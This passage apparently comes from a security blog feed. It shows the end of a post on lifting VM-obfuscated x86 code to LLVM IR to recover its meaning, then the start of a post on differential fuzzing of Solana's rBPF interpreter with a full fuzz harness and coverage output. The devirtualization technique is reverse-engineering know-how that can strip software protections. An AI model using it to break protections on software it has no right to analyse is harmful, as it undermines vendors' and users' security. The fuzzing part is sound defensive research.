  call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %25, i64 %29)
  %30 = load i64*, i64** %vsp.addr, align 8
  %31 = load i64*, i64** %rax.addr, align 8
  call void @_Z7POP_REGRmS_(i64* nonnull align 8 dereferenceable(8) %30, i64* nonnull align 8 dereferenceable(8) %31)
  %32 = load i64*, i64** %vip.addr, align 8
  %33 = load i64, i64* %32, align 8
  ret i64 %33
}

The LLVM-IR compiled from the previous C++ HelperStub function.

define dso_local i64 @SimpleExample_HelperStub(i64* noalias nocapture nonnull align 8 dereferenceable(8) %rax, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rbx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rcx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rbp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r15, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR, i64* noalias nonnull align 8 dereferenceable(8) %vsp, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %vip, %struct.VirtualRegister* noalias nocapture %vmregs, i64* noalias nocapture readnone %slots) local_unnamed_addr {
entry:
  %0 = load i64, i64* %rax, align 8
  %1 = load i64, i64* %vsp, align 8
  %sub.i.i = add i64 %1, -8
  %arrayidx.i.i = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %sub.i.i
  %value.addr.0.arrayidx.sroa_cast.i.i = bitcast i8* %arrayidx.i.i to i64*
  %2 = load i64, i64* %rbx, align 8
  %sub.i.i66 = add i64 %1, -16
  %arrayidx.i.i67 = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %sub.i.i66
  %value.addr.0.arrayidx.sroa_cast.i.i68 = bitcast i8* %arrayidx.i.i67 to i64*
  %qword.i62 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 1, i32 0, i32 0
  store i64 %2, i64* %qword.i62, align 1
  %3 = load i64, i64* @__undef, align 8
  %qword.i55 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 0, i32 0, i32 0
  store i64 %0, i64* %qword.i55, align 1
  %add.i32.i = add i64 %2, %0
  %cmp.i.i.i.i = icmp ult i64 %add.i32.i, %2
  %cmp1.i.i.i.i = icmp ult i64 %add.i32.i, %0
  %4 = or i1 %cmp.i.i.i.i, %cmp1.i.i.i.i
  %conv.i.i.i.i = trunc i64 %add.i32.i to i32
  %conv.i.i.i.i.i = and i32 %conv.i.i.i.i, 255
  %5 = tail call i32 @llvm.ctpop.i32(i32 %conv.i.i.i.i.i)
  %xor.i.i28.i.i = xor i64 %2, %0
  %xor1.i.i.i.i = xor i64 %xor.i.i28.i.i, %add.i32.i
  %and.i.i.i.i = and i64 %xor1.i.i.i.i, 16
  %cmp.i.i27.i.i = icmp eq i64 %add.i32.i, 0
  %shr.i.i.i.i = lshr i64 %2, 63
  %shr1.i.i.i.i = lshr i64 %0, 63
  %shr2.i.i.i.i = lshr i64 %add.i32.i, 63
  %xor.i.i.i.i = xor i64 %shr2.i.i.i.i, %shr.i.i.i.i
  %xor3.i.i.i.i = xor i64 %shr2.i.i.i.i, %shr1.i.i.i.i
  %add.i.i.i.i = add nuw nsw i64 %xor.i.i.i.i, %xor3.i.i.i.i
  %cmp.i.i25.i.i = icmp eq i64 %add.i.i.i.i, 2
  %conv.i.i.i = zext i1 %4 to i64
  %6 = shl nuw nsw i32 %5, 2
  %7 = and i32 %6, 4
  %8 = xor i32 %7, 4
  %9 = zext i32 %8 to i64
  %shl22.i.i.i = select i1 %cmp.i.i27.i.i, i64 64, i64 0
  %10 = lshr i64 %add.i32.i, 56
  %11 = and i64 %10, 128
  %shl34.i.i.i = select i1 %cmp.i.i25.i.i, i64 2048, i64 0
  %or6.i.i.i = or i64 %11, %shl22.i.i.i
  %and13.i.i.i = or i64 %or6.i.i.i, %and.i.i.i.i
  %or17.i.i.i = or i64 %and13.i.i.i, %conv.i.i.i
  %and25.i.i.i = or i64 %or17.i.i.i, %shl34.i.i.i
  %or29.i.i.i = or i64 %and25.i.i.i, %9
  %qword.i36 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 2, i32 0, i32 0
  store i64 %or29.i.i.i, i64* %qword.i36, align 1
  store i64 %3, i64* %value.addr.0.arrayidx.sroa_cast.i.i68, align 1
  %qword.i = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %vmregs, i64 3, i32 0, i32 0
  store i64 %add.i32.i, i64* %qword.i, align 1
  store i64 %3, i64* %value.addr.0.arrayidx.sroa_cast.i.i, align 1
  store i64 %add.i32.i, i64* %rax, align 8
  %12 = load i64, i64* %vip, align 8
  ret i64 %12
}

The LLVM-IR of the HelperStub function with inlined and optimized calls to the handlers

The last snippet is representing all the semantic computations related with a VmBlock, as described in the high level overview. Although, if the code we lifted is capturing the whole semantics related with a VmStub, we can wrap the HelperStub function with the HelperFunction function, which enforces the liveness properties described in the Liveness and aliasing information section, enabling us to obtain only the computations updating the host execution context:

extern "C" size_t SimpleExample_HelperFunction(
    rptr rax, rptr rbx, rptr rcx,
    rptr rdx, rptr rsi, rptr rdi,
    rptr rbp, rptr rsp, rptr r8,
    rptr r9, rptr r10, rptr r11,
    rptr r12, rptr r13, rptr r14,
    rptr r15, rptr flags, size_t KEY_STUB,
    size_t RET_ADDR, size_t REL_ADDR) {
  // Allocate the temporary virtual registers
  VirtualRegister vmregs[30] = {0};
  // Allocate the temporary passing slots
  size_t slots[30] = {0};
  // Initialize the virtual registers
  size_t vsp = rsp;
  size_t vip = 0;
  // Force the relocation address to 0
  REL_ADDR = 0;
  // Execute the virtualized code
  vip = SimpleExample_HelperStub(
    rax, rbx, rcx, rdx, rsi, rdi,
    rbp, rsp, r8, r9, r10, r11,
    r12, r13, r14, r15, flags,
    KEY_STUB, RET_ADDR, REL_ADDR,
    vsp, vip, vmregs, slots);
  // Return the next address(es)
  return vip;
}

The C++ HelperFunction function with the call to the HelperStub function and the relevant stack frame allocations.

define dso_local i64 @SimpleExample_HelperFunction(i64* noalias nocapture nonnull align 8 dereferenceable(8) %rax, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rbx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rcx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rbp, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rsp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r15, i64* noalias nocapture nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) local_unnamed_addr {
entry:
  %0 = load i64, i64* %rax, align 8
  %1 = load i64, i64* %rbx, align 8
  %add.i32.i.i = add i64 %1, %0
  store i64 %add.i32.i.i, i64* %rax, align 8
  ret i64 0
}

The LLVM-IR HelperFunction function with fully optimized code.

It can be seen that the example is just pushing the values of the registers rax and rbx, loading them in vmregs[0] and vmregs[1] respectively, pushing the VmRegisters on the stack, adding them together, popping the updated flags in vmregs[2], popping the addition’s result to vmregs[3] and finally pushing vmregs[3] on the stack to be popped in the rax register at the end. The liveness of the values of the VmRegisters ends with the end of the function, hence the updated flags saved in vmregs[2] won’t be reflected on the host execution context. Looking at the final snippet we can see that the semantics of the code have been successfully obtained.

What’s next?

In Part 2 we’ll put the described structures and helpers to good use, digging into the details of the virtualized CFG exploration and introducing the basics of the LLVM optimization pipeline.

Earn $200K by fuzzing for a weekend: Part 1

By: addison
11 May 2022 at 07:00

By applying well-known fuzzing techniques to a popular target, I found several bugs that in total yielded over $200K in bounties. In this article I will demonstrate how powerful fuzzing can be when applied to software which has not yet faced sufficient testing.

If you’re here just for the bug disclosures, see Part 2, though I encourage you all, even those who have not yet tried their hand at fuzzing, to read through this.

Exposition

A few friends and I ran a little Discord server (now a Matrix space) which in which we discussed security and vulnerability research techniques. One of the things we have running in the server is a bot which posts every single CVE as they come out. And, yeah, I read a lot of them.

One day, the bot posted something that caught my eye:

This marks the beginning of our timeline: January 28th. I had noticed this CVE in particular for two reasons:

  • it was BPF, which I find to be an absurdly cool concept as it’s used in the Linux kernel (a JIT compiler in the kernel!!! what!!!)
  • it was a JIT compiler written in Rust

This CVE showed up almost immediately after I had developed some relatively intensive fuzzing for some of my own Rust software (specifically, a crate for verifying sokoban solutions where I had observed similar issues and thought “that looks familiar”).

Knowing what I had learned from my experience fuzzing my own software and that bugs in Rust programs could be quite easily found with the combo of cargo fuzz and arbitrary, I thought: “hey, why not?”.

The Target, and figuring out how to test it

Solana, as several of you likely know, “is a decentralized blockchain built to enable scalable, user-friendly apps for the world”. They primarily are known for their cryptocurrency, SOL, but also are a blockchain which operates really any form of smart contract.

rBPF in particular is a self-described “Rust virtual machine and JIT compiler for eBPF programs”. Notably, it implements both an interpreter and a JIT compiler for BPF programs. In other words: two different implementations of the same program, which theoretically exhibited the same behaviour when executed.

I was lucky enough to both take a software testing course in university and to have been part of a research group doing fuzzing (admittedly, we were fuzzing hardware, not software, but the concepts translate). A concept that I had hung onto in particular is the idea of test oracles – a way to distinguish what is “correct” behaviour and what is not in a design under test.

In particular, something that stood out to me about the presence of both an interpreter and a JIT compiler in rBPF is that we, in effect, had a perfect pseudo-oracle; as Wikipedia puts it:

a separately written program which can take the same input as the program or system under test so that their outputs may be compared to understand if there might be a problem to investigate.

Those of you who have more experience in fuzzing will recognise this concept as differential fuzzing, but I think we can often overlook that differential fuzzing is just another face of a pseudo-oracle.

In this particular case, we can execute the interpreter, one implementation of rBPF, and then execute the JIT compiled version, another implementation, with the same inputs (i.e., memory state, entrypoint, code, etc.) and see if their outputs are different. If they are, one of them must necessarily be incorrect per the description of the rBPF crate: two implementations of exactly the same behaviour.

Writing a fuzzer

To start off, let’s try to throw a bunch of inputs at it without really tuning to anything in particular. This allows us to sanity check that our basic fuzzing implementation actually works as we expect.

The dumb fuzzer

First, we need to figure out how to execute the interpreter. Thankfully, there are several examples of this readily available in a variety of tests. I referenced the test_interpreter_and_jit macro present in ubpf_execution.rs as the basis for how my so-called “dumb” fuzzer executes.

I’ve provided a sequence of components you can look at one chunk at a time before moving onto the whole fuzzer. Just click on the dropdowns to view the code relevant to that step. You don’t necessarily need to to understand the point of this post.

Step 1: Defining our inputs

We must define our inputs such that it’s actually useful for our fuzzer. Thankfully, arbitrary makes it near trivial to derive an input from raw bytes.

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

If you want to see the definition of ConfigTemplate, you can check it out in common.rs, but all you need to know is that its purpose is to test the interpreter under a variety of different execution configurations. It’s not particularly important to understand the fundamental bits of the fuzzer.

Step 2: Setting up the VM

Setting up the fuzz target and the VM comes next. This will allow us to not only execute our test, but later to actually check if the behaviour is correct.

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    // TODO in step 3
});

You can find the details for how fuzz_target works from the Rust Fuzz Book which goes over how it works in higher detail than would be appropriate here.

Step 3: Executing our input and comparing output

In this step, we just execute the VM with our provided input. In future iterations, we’ll compare the output of interpreter vs JIT, but in this version, we’re just executing the interpreter to see if we can induce crashes.

fuzz_target!(|data: DumbFuzzData| {
    // see step 2 for this bit

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

I use black_box here but I’m not entirely convinced that it’s necessary. I added it to ensure that the result of the interpreted program’s execution isn’t simply discarded and thus the execution marked unnecessary, but I’m fairly certain it wouldn’t be regardless.

Note that we are not checking for if the execution failed here. If the BPF program fails: we don’t care! We only care if the VM crashes for any reason.

Step 4: Put it together

Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use solana_rbpf::{
    ebpf,
    elf::{register_bpf_function, Executable},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;

#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
    template: ConfigTemplate,
    prog: Vec<u8>,
    mem: Vec<u8>,
}

fuzz_target!(|data: DumbFuzzData| {
    let prog = data.prog;
    let config = data.template.into();
    if check(&prog, &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        &prog,
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1024 },
    )));
});

Theoretically, an up-to-date version is available in the rBPF repo.

Evaluation

$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608	REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770	NEW    cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805	DONE   cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)

After executing the fuzzer, we can evaluate its effectiveness at finding interesting inputs by checking its coverage after executing for a given time (note the use of the -max_total_time flag). In this case, I want to determine just how well it covers the function which handles interpreter execution. To do so, I issue the following commands:

$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    763|    fn execute_program_interpreted_inner(
  710|    763|        &mut self,
  711|    763|        instruction_meter: &mut I,
  712|    763|        initial_insn_count: u64,
  713|    763|        last_insn_count: &mut u64,
  714|    763|    ) -> ProgramResult<E> {
  715|    763|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    763|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    763|        reg[1] = ebpf::MM_INPUT_START;
  718|    763|
  719|    763|        // Loop on instructions
  720|    763|        let config = self.executable.get_config();
  721|    763|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    763|        let mut remaining_insn_count = initial_insn_count;
  723|   136k|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|   135k|            *last_insn_count += 1;
  725|   135k|            let pc = next_pc;
  726|   135k|            next_pc += 1;
  727|   135k|            let mut instruction_width = 1;
  728|   135k|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|   135k|            let dst = insn.dst as usize;
  730|   135k|            let src = insn.src as usize;
  731|   135k|
  732|   135k|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|   135k|            }
  738|       |
  739|   135k|            match insn.opc {
  740|   135k|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|    361|                    match insn.opc {
  742|     16|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|    345|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  757|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  762|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  767|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  772|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^0
  777|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^0
  782|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      7|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      7|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^0
  787|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      0|                ebpf::LD_DW_IMM  => {
  796|      0|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      0|                    instruction_width = 2;
  798|      0|                    next_pc += 1;
  799|      0|                    reg[dst] = insn.imm as u64;
  800|      0|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  806|      2|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|     18|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|     18|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^6
  811|      6|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|    365|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|    365|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^348
  816|    348|                    reg[dst] = unsafe { *host_ptr as u64 };
  817|       |                },
  818|       |                ebpf::LD_DW_REG  => {
  819|     15|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  820|     15|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^5
  821|      5|                    reg[dst] = unsafe { *host_ptr as u64 };
  822|       |                },
  823|       |
  824|       |                // BPF_ST class
  825|       |                ebpf::ST_B_IMM   => {
  826|     26|                    let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
  827|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^20
  828|     20|                    unsafe { *host_ptr = insn.imm as u8 };
  829|       |                },
  830|       |                ebpf::ST_H_IMM   => {
  831|     23|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  832|     23|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^13
  833|     13|                    unsafe { *host_ptr = insn.imm as u16 };
  834|       |                },
  835|       |                ebpf::ST_W_IMM   => {
  836|     12|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  837|     12|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^5
  838|      5|                    unsafe { *host_ptr = insn.imm as u32 };
  839|       |                },
  840|       |                ebpf::ST_DW_IMM  => {
  841|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  842|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^11
  843|     11|                    unsafe { *host_ptr = insn.imm as u64 };
  844|       |                },
  845|       |
  846|       |                // BPF_STX class
  847|       |                ebpf::ST_B_REG   => {
  848|     17|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  849|     17|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
                                      ^3
  850|      3|                    unsafe { *host_ptr = reg[src] as u8 };
  851|       |                },
  852|       |                ebpf::ST_H_REG   => {
  853|     13|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  854|     13|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
                                      ^3
  855|      3|                    unsafe { *host_ptr = reg[src] as u16 };
  856|       |                },
  857|       |                ebpf::ST_W_REG   => {
  858|     19|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  859|     19|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
                                      ^7
  860|      7|                    unsafe { *host_ptr = reg[src] as u32 };
  861|       |                },
  862|       |                ebpf::ST_DW_REG  => {
  863|      8|                    let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
  864|      8|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
                                      ^2
  865|      2|                    unsafe { *host_ptr = reg[src] as u64 };
  866|       |                },
  867|       |
  868|       |                // BPF_ALU class
  869|  1.06k|                ebpf::ADD32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32)   as u64,
  870|    695|                ebpf::ADD32_REG  => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32)   as u64,
  871|    710|                ebpf::SUB32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32)   as u64,
  872|    345|                ebpf::SUB32_REG  => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32)   as u64,
  873|  1.03k|                ebpf::MUL32_IMM  => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32)   as u64,
  874|  2.07k|                ebpf::MUL32_REG  => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32)   as u64,
  875|  1.03k|                ebpf::DIV32_IMM  => reg[dst] = (reg[dst] as u32 / insn.imm as u32)               as u64,
  876|       |                ebpf::DIV32_REG  => {
  877|      4|                    if reg[src] as u32 == 0 {
  878|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  879|      2|                    }
  880|      2|                    reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
  881|       |                },
  882|       |                ebpf::SDIV32_IMM  => {
  883|    346|                    if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
                                                                    ^0
  884|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  885|    346|                    }
  886|    346|                    reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
  887|       |                }
  888|       |                ebpf::SDIV32_REG  => {
  889|     13|                    if reg[src] as i32 == 0 {
  890|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  891|     11|                    }
  892|     11|                    if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
                                                                    ^0
  893|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  894|     11|                    }
  895|     11|                    reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
  896|       |                },
  897|    346|                ebpf::OR32_IMM   =>   reg[dst] = (reg[dst] as u32             | insn.imm as u32) as u64,
  898|    351|                ebpf::OR32_REG   =>   reg[dst] = (reg[dst] as u32             | reg[src] as u32) as u64,
  899|    345|                ebpf::AND32_IMM  =>   reg[dst] = (reg[dst] as u32             & insn.imm as u32) as u64,
  900|  1.03k|                ebpf::AND32_REG  =>   reg[dst] = (reg[dst] as u32             & reg[src] as u32) as u64,
  901|      0|                ebpf::LSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
  902|    369|                ebpf::LSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
  903|      0|                ebpf::RSH32_IMM  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
  904|    346|                ebpf::RSH32_REG  =>   reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
  905|    690|                ebpf::NEG32      => { reg[dst] = (reg[dst] as i32).wrapping_neg()                as u64; reg[dst] &= u32::MAX as u64; },
  906|    347|                ebpf::MOD32_IMM  =>   reg[dst] = (reg[dst] as u32             % insn.imm as u32) as u64,
  907|       |                ebpf::MOD32_REG  => {
  908|      4|                    if reg[src] as u32 == 0 {
  909|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  910|      2|                    }
  911|      2|                                      reg[dst] = (reg[dst] as u32            % reg[src]  as u32) as u64;
  912|       |                },
